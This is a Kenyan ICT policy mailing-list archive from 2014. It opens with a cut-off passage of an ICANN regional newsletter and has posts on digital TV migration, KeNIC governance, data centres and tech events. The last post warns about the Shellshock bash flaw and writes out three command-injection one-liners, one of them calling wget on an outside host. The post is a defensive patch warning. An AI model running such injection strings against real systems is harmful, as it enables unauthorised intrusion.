through other parts of Africa. _Spotlight The Lebanese Internet Center (LINC) – A Democratic Multistakeholder Governance Initiative in EMEA *By Nabil Bukhalid, CEO* The Lebanese Internet Center (LINC) is a public/private, not-for-profit organization characterized by a democratic multistakeholder governance structure (Figure 1). LINC’s strategic alliance between civil society organizations, corporations, syndicates, universities, research organizations and the government of Lebanon emanated from major and long standing gaps in Internet governance in Lebanon affecting the sustainability and growth of the Internet and more specifically the operation and business continuity of the Lebanese Domain Name Registry (LBDR). LINC is initially responsible for the Internet’s Lebanese top-level domain (.lb ccTLD and .لبنان AIDN), including the registration of domain names, and the administration and technical maintenance of the national domain-name registry infrastructure. LINC will also promote the positive development of the Internet in Lebanon. A share of the fee that LINC intends to charge for domain name registration will be invested in capacity and community building activities and projects that promote the positive development of the Internet in Lebanon. There are currently less than 4,000 registered .lb domains. LINC intends to file with ICANN for the re-delegation of the .lb ccTLD, apply for the .لبنان AIDN, and develop the DNS industry in Lebanon by establishing friendly, efficient, secure and competitive registration processes based on the registry/registrars business model. LINC aims to grow into the natural choice for companies, organizations and individuals that want a domain name associated with Lebanon by providing the best services to the local Lebanese market, the globally spread Lebanese diaspora and the global market at large. The necessity for a multistakeholder body to assist in the amalgamation of different and competing interests was pinned by Fadi Chehadé, ICANN CEO, during a reconnaissance visit to Beirut in February 2013. The partners engaged in long sessions of critical thinking on governance structure outcome, impact and alternatives and, while they acknowledged that multi-stakeholder governance will introduce complex processes with insecure outcomes, they made a conscious decision that multi-stakeholder governance is a strategic and preferred option for the Internet governance in Lebanon. On June the 2nd, 15 months later, Fadi Chehadé returned to Beirut to celebrate with Lebanon the launching of LINC from the Ministry of Economy and Trade. As the incumbent .lb registrar and one of the key facilitators in the making of LINC, I would like to share my reflections and observations on the multi-stakeholder building process: - In a multi-stakeholder development initiative, the democratic process is as important as the outcome. Democracy is a complex and testing evolutionary process. - The Internet is a network of complex interdependent networks at the physical, economical, political and social levels. With growing complexity and interdependence comes growing needs for collaborative efforts. - In a multi-stakeholder development process confrontational parties develop trust relationships as a byproduct of: working together; sharing problems, concerns and dilemmas; and facilitating the exchange of information and the alignment of goals. Trust-building among the stakeholders is crucial for success. - Engaging in multi-stakeholder governance efforts opens the way to gradually introduce multi-stakeholder practices and get them transcribed in governmental policies and regulations. - The execution of multi-stakeholder governance requires from the partners to address the sustainability issues. The partners should secure sustainable means to finance the operation while neutralizing the power of money. I.e. since power equal money, the corporate partners’ financial might should not give them additional privilege over the NGOs, etc. - Interest diversity is at the core of multi-stakeholder governance, the more diverse interests are; the more diverse stakeholders should be involved in order to increase the effectiveness of the process. The target is to engage all stakeholders and leave nobody out. The price to pay is that this makes collaboration more complex and difficult. - Interest diversity in a dynamic and continuously evolving and mutating environment, such as the Internet, require a dynamic and flexible multi-stakeholder governance structure. Interests can change over time, new parties might want to enter the partnership and others might want to exit. - The success of the multi-stakeholder process dictates utmost transparency and open communication. - Participation in a multi-stakeholder initiative requires considerable resources and consumes a lot of time. _Key Regional Upcoming ICANN Events Please view the ICANN calendar for a more detailed look at all events <https://features.icann.org/calendar?keys=&field_date_value%5Bmin%5D%5Bdate%…> in the ecosystem. October 201412-16 OctoberICANN51Los Angeles, USA19 Octobercollaboration with I* organizations to monitor Internet related resolutions and discussions at ITU PP 14 in Busan, Korea – [Government Engagement Group Activities]Busan, Korea22 OctoberJoint IIC-ISOC-London School of Economics workshop on IG evolution; http://www.iicom.org/iic-chapters/iic-uk-chapterLondon, UK30 October“The Internet Today and Tomorrow”: ICANN – NASK- Polish Government-FOSSF Workshop Warsaw, Poland November 20144-7 NovemberRIPE 69 <https://ripe69.ripe.net/>London, UK4-5 NovemberWorkshop on building sustainable domain names business in Africa and the Middle East - Organizers: ICANN, NTRA (Egypt), AfICTA (African ICT Association).Cairo, Egypt5-6 NovemberWorkshop on Investigating DNS Abuse/Misuse for Law Enforcement Agents; ICANN team participating. Organizers: Lebanese University and Ministry of InteriorBeirut, Lebanon18 NovemberTurkey DNS Forum <https://community.icann.org/display/MES/Turkey+DNS+Forum>Istanbul, Turkey19-21 NovemberRegistry Roadshow Workshop <https://community.icann.org/display/RH/Agenda+for+Registry+Roadshow+Workshop>Istanbul, Turkey24-25 NovemberInternet Day Sweden <http://internetdagarna.se/english/>: Panel “Internet governance – who will shape the future of the Internet?” and a panel session on the new gTLDs Speaker: Jean-Jacques SahelStockholm, Sweden26-27 NovemberArab IGF Beirut, Lebanon - Theme: “Arab Perspective for Shaping the Future of the Internet” http://beta.igfarab.org/ArabIGF2014.jspBeirut, Lebanon December 20147-10 DecemberITU Telecom World 2014 <http://www.itu.int/en/ITUTELECOM/Pages/world2014.aspx> - Panel “The Next Big Internet Step: Moving to IPv6 to Enable Everything” Speaking: Baher Esmat <http://www.itu.int/net4/Telecom/webs/TelecomWorld/session/description/C-000…>Doha, Qatar18-19 DecemberAfrica Telecom People 2014Abidjan, Cote d’Ivoire ICANN51 in Los Angeles This could very well be one of the largest international Internet conferences of the year. The meeting is filled with interesting and engaging sessions on a wide variety of topics, such as: - The SO/AC-Led High Interest Topic Session, which will discuss the role of government representation in ICANN - Enhancing ICANN Accountability, which will address the issue how ICANN can remain accountable in the absence of its historic contractual relationship with the U.S. government, and the - Community Discussion with the ICG where the IANA Stewardship Coordination Group (ICG) will discuss the transition. Registration for ICANN51 is free – just go to https://registration.icann.org/. If you can’t attend in person, remote participation is highly encouraged – and easy to do. Just visit the online schedule and select the session you’re interested in – almost all have options for joining in from wherever you are. _ICANN News Highlights Accountability / NTIA IANA Functions Stewardship transition You need to be involved. All of the Accountability track information can be found here: https://community.icann.org/category/accountability https://www.icann.org/en/stewardship NMI launch in Geneva The Initiative is being undertaken by the World Economic Forum, in collaboration with various partners including ICANN and key governmental, industry, academic and civil society stakeholders. This collaboration will facilitate a distributed environment of effective multistakeholder cooperation through innovative and legitimate mechanisms to: 1. Help solve global Internet challenges, especially the non technical ones 2. Inform and equip capacity development initiatives to ensure global participation in Internet cooperation, especially from under-represented regions; 3. Build trust in the Internet and its governance ecosystem. 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Fwd: RE: Digital Migration Ruling
by Bernard Kioko 04 Oct '14

04 Oct '14

Walu, Find attached as requested. Regards ---------- Forwarded message ---------- From: "Alwala, Rachel" <Alwala(a)ca.go.ke> Date: Sep 30, 2014 7:52 PM Subject: RE: [kictanet] Digital Migration Ruling To: "Bernard Kioko" <bkioko(a)bernsoft.com>, "KICTAnet ICT Policy Discussions" <kictanet(a)lists.kictanet.or.ke> Cc: Bernard and colleagues, Please find attached, the ruling and the summary handed to media for your information. Regards, Rachel *From:* kictanet [mailto:kictanet-bounces+alwala= cck.go.ke(a)lists.kictanet.or.ke] *On Behalf Of *Bernard Kioko via kictanet *Sent:* 30 September 2014 19:33 *To:* Alwala, Rachel *Subject:* [kictanet] Digital Migration Ruling Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Neelie Kroes to ETNO - "Adapt or die."
by Gideon 03 Oct '14

03 Oct '14

Interesting read http://www.lightreading.com/services/broadband-services/telecom-sector-its-… (Kroes) attended a conference organized by European Telecommunications Network Operators' Association (ETNO) , the industry association that represents the region's major telcos, and witnessed the unveiling of ETNO's "Agenda for Europe," which calls for an "ambitious reform of current policy." Then Kroes took to the stage and fired thunderbolts into the crowd, starting her speech -- "Adapt or die: What I would do if I ran a telecom company" -- by noting that "sometimes I think the telecoms sector is its own worst enemy," before adding that the telecom sector's representatives in the room were "probably all looking forward to the very near future ... when you won't have to put up with me anymore." Cue uncomfortable shuffling in seats... She told the telcos that they "have to change" and be ready for a world set to be dominated by the cloud, the Internet of Things (IoT), big data and 5G. "What is the telecoms sector's relationship to that digital future?" she asked. "Will you be leading us there? Or will you be dragged along behind, against your will, resisting until the last?" And while the telcos were still smarting at that virtual dig in the ribs, Kroes proceeded to tell them "how I'd steer a telco through dynamic digital developments." --------------------- The Kroes speech in full: http://europa.eu/rapid/press-release_SPEECH-14-647_en.htm ETNO's Agenda for Europe: https://www.etno.eu/etno-agenda-for-europe Regards Gideon Rop DotConnectAfrica

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Kenya’s digital TV migration: These days, empty-handed people don’t win
by Grace Githaiga 02 Oct '14

02 Oct '14

On Monday, the Supreme Court ruled that media houses and the Communications Authority of Kenya should go, sit down over coffee, and agree on a date for the complete switch-over to digital TV within 90 days. ...The digital migration debacle in Kenya, therefore speaks to a bigger problem…and to a solution. Why did the Chinese firm, Star Times, beat the local competition? Was it hostility against the local media by someone in government and an attempt to “fix” them? Did kola nut change hands?We don’t know, but there are lessons that Kenyan media and private businesses need to take away from this episode. In the world today, disinterested, purely public-good driven policy by governments is rare. http://www.nation.co.ke/oped/Opinion/Kenyas-digital-TV-migration/-/440808/2…

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Founder’s stories, demystifying techpreneurial journeys
by Mbugua Njihia 02 Oct '14

02 Oct '14

We need to capture and tell the real stories, beyond what a piecemeal take in the media interview can fully represent, of the journey taken by those who have gone before and either succeeded or failed. This will demystify the life and makings of an entrepreneur and help those who “dare” to have realistic expectations of what lies ahead. Full piece here - http://www.mbuguanjihia.com/business/founders-stories-demystifying-techpren…

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Resending -- Proposal/Policy to Develop Local Skills and Data Centers
by S.M. Muraya 01 Oct '14

01 Oct '14

Dear Listers, We need patriotic funds (tenders) for local firms (only) to build data centers (and services) in Kenya. No single firm should be allowed to handle data services for more than 10 counties unless it is a national government project. This will ensure we have 5 firms in Kenya acquiring the knowledge and funds to manage our data. You will never find well localized systems in departments or organizations in the private or public sector which favor non residents (including Kenyans outside their counties) who misunderstand local practices and circumstances. What is the point of trips if citizens on the ground are not well served? If we have 4 Billion for MCA travel and KES 6 Billion for MCA vehicles, then we can invest KES 10 Billion (per annum) for information systems in 47 counties. Per annum, this is about KES 1 Billion for a county/city like Nairobi and KES 50 million per annum for smaller counties. Yesterday, was not served in a Nairobi County office because there was no printer toner. I also noted expired (unprotected) software being used. The Kenya ICT Authority should also identify and award public/county officials in Kenya building information systems utilizing and empowering local firms/skills. County officials should also recognize firms (not their own) helping them develop and increase transparency/efficiency. We will steal less if we know our actions are audited and flagged by some information system. http://www.thereporterethiopia.com/index.php/news-headlines/item/2092-south… We should note, Ethiopia may be be targeting Central Africa after noting Kenya as the East African IT Hub/Lead. http://www.thereporterethiopia.com/index.php/news-headlines/item/2092-south… Results from some constructive politics... http://economictimes.indiatimes.com/tech/software/microsoft-to-set-up-3-dat… *Microsoft to set up 3 data centres in India by 2015* NEW DELHI: Microsoft plans to offer its commercial and cloud services - Azure and Office 365 - from three local data centres by the end of 2015, making it the first technology company to set up cloud data centres in India, a move that experts say will help the US-based software giant compete better in the domestic market. "When we think about the cloud opportunity in India itself, it is going to be a $2 trillion opportunity," chief executive Satya Nadella said in Delhi on Tuesday, adding that the move will help Indian companies, government and entrepreneurs. Without disclosing the investment involved in setting up the data centres, Nadella said they will have "sizeable" capacity. The announcement is significant given that the ruling Bharatiya Janata Party has been vocal about bringing local data centres to India to maintain data sovereignty. Besides, a large number of Indian enterprises have increasingly voiced concerns about hosting their data on the public cloud because none of the major players such as Amazon Web Services, Microsoft or Google have cloud data centres in India. Read more at: http://economictimes.indiatimes.com/articleshow/43881117.cms?utm_source=con… Regards Murigi / Stanley Muraya "Better a patient person than a warrior, one with self-control than one who takes a city." Prov 16:32

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KeNIC AGM & the fate of The Multi-Stakeholder Engagement
by Ali Hussein 01 Oct '14

01 Oct '14

Listers As KeNIC's AGM is about to kickoff at the Sankara today morning a few questions are worth asking at the function:- 1. What is the status of the new envisioned KeNIC with CA as the licensing body? 2. The community would like to have a copy of the report by the consultant with the recommendations of the new dispensation and which organizations would form or be party to the New IANA Agreement. (Unfortunately this is not something that can be wished away and the community does have the right to know all the details). 3. What came of the cancelled meeting by the CA that had invited the new stakeholders - ICTA, KENET, DRAKE and TESPOK that was supposed to be held on the 15th of September? Was another one held? 4. A subsequent meeting by the CA inviting ICTA and TESPOK to handover the CA mandate to ICTA was called without the other two stakeholders being invited (DRAKE & KENET). What are we to make of this? And what transpired during the purported handover? 5. Lastly, any new Board of KeNIC MUST take into consideration a composition that includes Independent directors who are able to steer the New KeNIC without encumbering it with vested interests. To all the Stakeholders This is an ernest appeal to you to ensure that this particular phase of KeNIC's life is navigated with caution, transparency and natural justice. Up to the time when the September 15 meeting was called all seemed to be going on well. Let's ensure we continue in the same vein. Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Policy to Develop Local Skills and Data Centers
by S.M. Muraya 01 Oct '14

01 Oct '14

Dear Listers, We need patriotic funds (tenders) for local firms (only) to build data centers (and services) in Kenya. No single firm should be allowed to handle data services for more than 10 counties unless it is a national government project. This will ensure we have 5 firms in Kenya acquiring the knowledge and funds to manage our data. You will never find well localized systems in departments or organizations in the private or public sector which favor n. What is the point of trips abroad if citizens on the ground are not well served? The Kenya ICT Authority should also identify and award public/county officials in Kenya building information systems utilizing and empowering local firms/skills. County officials should recognize firms (not their own) helping them develop and increase transparency. We will steal less if we know our actions are http://www.thereporterethiopia.com/index.php/news-headlines/item/2092-south… We should note, Ethiopia may be be targeting Central Africa after noting Kenya as the East African IT Hub/Lead. http://www.thereporterethiopia.com/index.php/news-headlines/item/2092-south… Results from some constructive politics... http://economictimes.indiatimes.com/tech/software/microsoft-to-set-up-3-dat… *Microsoft to set up 3 data centres in India by 2015* NEW DELHI: Microsoft plans to offer its commercial and cloud services - Azure and Office 365 - from three local data centres by the end of 2015, making it the first technology company to set up cloud data centres in India, a move that experts say will help the US-based software giant compete better in the domestic market. "When we think about the cloud opportunity in India itself, it is going to be a $2 trillion opportunity," chief executive Satya Nadella said in Delhi on Tuesday, adding that the move will help Indian companies, government and entrepreneurs. Without disclosing the investment involved in setting up the data centres, Nadella said they will have "sizeable" capacity. The announcement is significant given that the ruling Bharatiya Janata Party has been vocal about bringing local data centres to India to maintain data sovereignty. Besides, a large number of Indian enterprises have increasingly voiced concerns about hosting their data on the public cloud because none of the major players such as Amazon Web Services, Microsoft or Google have cloud data centres in India. Read more at: http://economictimes.indiatimes.com/articleshow/43881117.cms?utm_source=con… Regards Murigi / Stanley Muraya *"Better a patient person than a warrior, one with self-control than one who takes a city." Prov 16:32*

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Re: [kictanet] Digital Migration Ruling
by Bernard Kioko 30 Sep '14

30 Sep '14

It does. Thank you Rachel for your help. From: Alwala, Rachel [mailto:Alwala@ca.go.ke] Sent: Tuesday, September 30, 2014 8:17 PM To: Bernard Kioko; 'KICTAnet ICT Policy Discussions' Subject: RE: [kictanet] Digital Migration Ruling Bernard, In the judgement conclusion, the Court the Authority to, in consultation with all the parties to the suit, set the time-lines for the digital migration, pending the international Analogue Switch-off Date of 17th June, 2015. Hope this helps clarify. Regards, Rachel From: Bernard Kioko [mailto:bkioko@bernsoft.com] Sent: 30 September 2014 20:10 To: Alwala, Rachel; 'KICTAnet ICT Policy Discussions' Subject: RE: [kictanet] Digital Migration Ruling Rachel (or anyone else with this info), I have quickly looked through the summary and I haven't found anywhere indicating when the Supreme Court ordered the cut off to digital should be. Do you know if this was actually set by the court or was it left to CA to decide. Thank you. From: Alwala, Rachel [mailto:Alwala@ca.go.ke] Sent: Tuesday, September 30, 2014 7:49 PM To: Bernard Kioko; KICTAnet ICT Policy Discussions Subject: RE: [kictanet] Digital Migration Ruling Bernard and colleagues, Please find attached, the ruling and the summary handed to media for your information. Regards, Rachel From: kictanet [mailto:kictanet-bounces+alwala=cck.go.ke@lists.kictanet.or.ke] On Behalf Of Bernard Kioko via kictanet Sent: 30 September 2014 19:33 To: Alwala, Rachel Subject: [kictanet] Digital Migration Ruling Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards _____ <http://bernsoft.com/img/logo.jpg> This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. 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Re: [kictanet] Digital Migration Ruling
by Bernard Kioko 30 Sep '14

30 Sep '14

Rachel (or anyone else with this info), I have quickly looked through the summary and I haven't found anywhere indicating when the Supreme Court ordered the cut off to digital should be. Do you know if this was actually set by the court or was it left to CA to decide. Thank you. From: Alwala, Rachel [mailto:Alwala@ca.go.ke] Sent: Tuesday, September 30, 2014 7:49 PM To: Bernard Kioko; KICTAnet ICT Policy Discussions Subject: RE: [kictanet] Digital Migration Ruling Bernard and colleagues, Please find attached, the ruling and the summary handed to media for your information. Regards, Rachel From: kictanet [mailto:kictanet-bounces+alwala=cck.go.ke@lists.kictanet.or.ke] On Behalf Of Bernard Kioko via kictanet Sent: 30 September 2014 19:33 To: Alwala, Rachel Subject: [kictanet] Digital Migration Ruling Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards _____ <http://bernsoft.com/img/logo.jpg> This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Re: [kictanet] Digital Migration Ruling
by Bernard Kioko 30 Sep '14

30 Sep '14

Thank you so much Rachel. Really helpful. Regards From: Alwala, Rachel [mailto:Alwala@ca.go.ke] Sent: Tuesday, September 30, 2014 7:49 PM To: Bernard Kioko; KICTAnet ICT Policy Discussions Subject: RE: [kictanet] Digital Migration Ruling Bernard and colleagues, Please find attached, the ruling and the summary handed to media for your information. Regards, Rachel From: kictanet [mailto:kictanet-bounces+alwala=cck.go.ke@lists.kictanet.or.ke] On Behalf Of Bernard Kioko via kictanet Sent: 30 September 2014 19:33 To: Alwala, Rachel Subject: [kictanet] Digital Migration Ruling Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards _____ <http://bernsoft.com/img/logo.jpg> This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Digital Migration Ruling
by Bernard Kioko 30 Sep '14

30 Sep '14

Hi all, Could anyone kindly share the digital migration case ruling document made yesterday. Regards -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Fwd: IHRDA Vacancy for Publication and Communication Officer
by Ephraim Percy Kenyanito 29 Sep '14

29 Sep '14

Please share with your respective networks. Ephraim Percy Kenyanito -------- Forwarded Message -------- Subject: IHRDA Vacancy for Publication and Communication Officer Date: Mon, 29 Sep 2014 18:12:59 +0000 From: Institute for Human Rights and Development in Africa Reply-To: Institute for Human Rights and Development in Africa To: *|Ephraim Percy Kenyanito| VACANCY ANNOUNCEMENT Publications and Communications Officer The Institute for Human Rights and Development in Africa (IHRDA) seeks an experienced publications and communications officer to effectively publicize its exciting work and to manage its publications. IHRDA was founded in 1997 as a pan-African non-governmental organization, based in The Gambia, to enhance the use and effectiveness of African regional human rights mechanisms through legal advocacy, capacity building, research and publications, and cooperation with the African regional human rights system. The publications and communications Officer should start work in January 2015. The Publications and Communications officer will: 1. Develop and implement publication and communication strategies; 2. Write and disseminate press releases, news articles, electronic newsletters and other publicity material; 3. In consultation with IHRDA programme staff, plan, organize and edit all IHRDA publications, both electronic and hard copy; 4. Manage the IHRDA’s case law analyser (CLA); 5. Liaise with printers/suppliers on production management; 6. Publicise and ensure wide and relevant distribution of the IHRDA’s publications; 7. Write website content and ensure regular updating of the website; 8. Develop and maintain contacts with various stakeholders and partners; 9. Manage the IHRDA’s documentation centre, maintaining the organization of printed material and identifying new information likely to be of interest to staff working on the main programme areas of IHRDA; 10. Assist in fundraising activities, including grant writing; 11. Perform administrative tasks relating to the post. Qualifications 1. A bachelors degree; 2. Excellent writing, editing and speaking skills in English and or in French; a good working knowledge of the other language is an important asset. Knowledge of another African Union language an advantage; 3. Ability to transform complex texts into reader-friendly documents for a pan -African audience and to proof-read translations for obvious errors; 4. At least three years demonstrated experience with publications and relevant experience in media relations and NGO an advantage; 5. Excellent computer and internet skills, especially related to the production of publications, and experience writing for the web. Proficiency with Windows, Microsoft Office, graphic design and web publishing products essential; 6. Ability to work with minimum supervision within a multicultural team; Compensation is very competitive and is tax-free. Retirement benefits and family health coverage is provided. Interested candidates are invited to submit: a letter of motivation; a recent CV; three writing samples and a list of 3 referees who are not related to the candidate. Please note that only short listed candidate will be contacted. Closing date for applications is 31^st October 2014 Kindly send your application and all relevant documents to recruitment(a)IHRDA.org (mailto:recruitment@IHRDA.org) For additional information please contact Mr. Henry Annoh at hannoh(a)ihrda.org (mailto:hannoh@ihrda.org) . IHRDA is committed to equal opportunities. Women candidates are encouraged to apply. ============================================================ Copyright © 2014 IHRDA, All rights reserved.

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Role of ICT's for Persons with Disabilities: http://www.unesco-ci.org/ict-pwd/
by Du Toit, Jaco 29 Sep '14

29 Sep '14

Dear colleagues, UNESCO, in close cooperation with international, regional, and national partners, is organizing the International conference "From Exclusion to Empowerment: The Role of Information and Communication Technologies for Persons with Disabilities" from 24 to 26 November 2014, in New Delhi, India. Interested partners who would like to be part of this international event that contains the international conference, film festival, and exhibition on ICTs for inclusion of persons with disabilities, can obtain more information at the following URL: The speakers will be policy and decision makers, industry representatives, research community, information and media professionals, filmmakers and producers, persons with disabilities, and civil society members. Regards Jaco ------------------------------------------------- Jaco DU TOIT Adviser for Communication & Information UNESCO Regional Office for Eastern Africa United Nations Avenue, UNON, Gigiri (Room C-209) P.O. Box 30592-00100, Nairobi, Kenya Tel: +254 (0)20 762 2346/2566 Fax +254 (0)20 762 2750 Email:j.dutoit@unesco.org, Website: http://www.unesco.org/new/en/nairobi

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SwahiliBox: The next major thing in Technology in Mombasa
by Ahmed Mohamed Maawy 29 Sep '14

29 Sep '14

It is with great joy that we break the news to the Technology and Business Community in Mombasa. The news that the time has arrived, for Mombasa to join forces with Nairobi and become a regional technology giant. Our website <http://swahilibox.co.ke/> is coming soon! We take this opportunity to announce the SwahiliBox, Mombasa's upcoming Technology Open Space - that will work in close collaboration with the iHub and other important technology players in the Market. After years of hard work and effort we have a shot. And we expect to have a space of its kind in Africa. Mombasa is aligned to be one of Africa's Digitally Relevant Cities. Do take this opportunity to become one of the pioneer community members, and become a part of what is going to be one of the most interesting technology hubs in Africa: 1. Fill in this form to get enrolled: https://docs.google.com/forms/d/1dJYnNEMyD54T_K22Zy5zzAAmpMBYqpa7Q8gIjYTSCh… 2. Follow SwahiliBox on Facebook: https://www.facebook.com/SwahiliBox 3. Follow SwahiliBox on Twitter: https://twitter.com/SwahiliBox SwahiliBox <http://swahilibox.co.ke/> is a project of M-Power <http://m-power.or.ke/>. Original blog post here <http://m-power.or.ke/blog/2014/09/swahilibox-the-next-major-thing-in-techno…> . -- Ahmed Maawy Shaper - Global Shapers Executive Director - M-Power (CBO) Ambassador - Open Knowledge CTO - D8A, Appfrica Labs (KE) +254 714 960 627 Skype: ultimateprogramer www.globalshapers.org <http://globalshapers.org/> www.okfn.org <http://okfn.org/> www.d8a.com www.appfrica.com www.apps4africa.org

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Re: [kictanet] [Skunkworks] Bash Code Injection Vulnerabilty (CVE-2014-6271)
by Gichuki John Chuksjonia 28 Sep '14

28 Sep '14

This Vulnerability is worse than Heartbleed, even after patching Bash, you can still inject into it. rm -f echo && env -i X='() { (a)=>\' bash -c 'echo date'; cat echo rm -f echo && env -i X='() { (a)=>\' bash -c 'echo ls -la'; cat echo rm -f echo && env -i X='() { (a)=>\' bash -c 'echo wget http://my.co.ke/'; Be prepared to patch, and still watch your systems, and patch later on, when a full one is released. On 9/26/14, Amarjit Labhuram via skunkworks <skunkworks(a)lists.my.co.ke> wrote: > To the linux admins, > > here is some more info on Shellshock. > http://www.bbc.com/news/technology-29361794/ > > Have a great day! > > Warm regards, > Amarjit Singh Labhuram. > > On Thu, Sep 25, 2014 at 5:08 PM, Laban Mwangi via skunkworks < > skunkworks(a)lists.my.co.ke> wrote: > >> Any thing that uses bash (Linux/FreeBSD/OSX/Cygwin)... Potentially, this >> includes your home router (dlink, linksys)! >> >> On Thu, Sep 25, 2014 at 8:38 AM, Bwana Lawi via skunkworks < >> skunkworks(a)lists.my.co.ke> wrote: >> >>> If you are using Red Hat products, please have this patched. >>> >>> Read more here. >>> >>> _______________________________________________ >>> skunkworks mailing list >>> skunkworks(a)lists.my.co.ke >>> ------------ >>> List info, subscribe/unsubscribe >>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >>> ------------ >>> >>> Skunkworks Rules >>> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >>> ------------ >>> Other services @ http://my.co.ke >>> >> >> >> _______________________________________________ >> skunkworks mailing list >> skunkworks(a)lists.my.co.ke >> ------------ >> List info, subscribe/unsubscribe >> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >> ------------ >> >> Skunkworks Rules >> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >> ------------ >> Other services @ http://my.co.ke >> > -- -- Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P I.T Security Analyst and Penetration Tester jgichuki at inbox d0t com {FORUM}http://lists.my.co.ke/pipermail/security/ http://chuksjonia.blogspot.com/

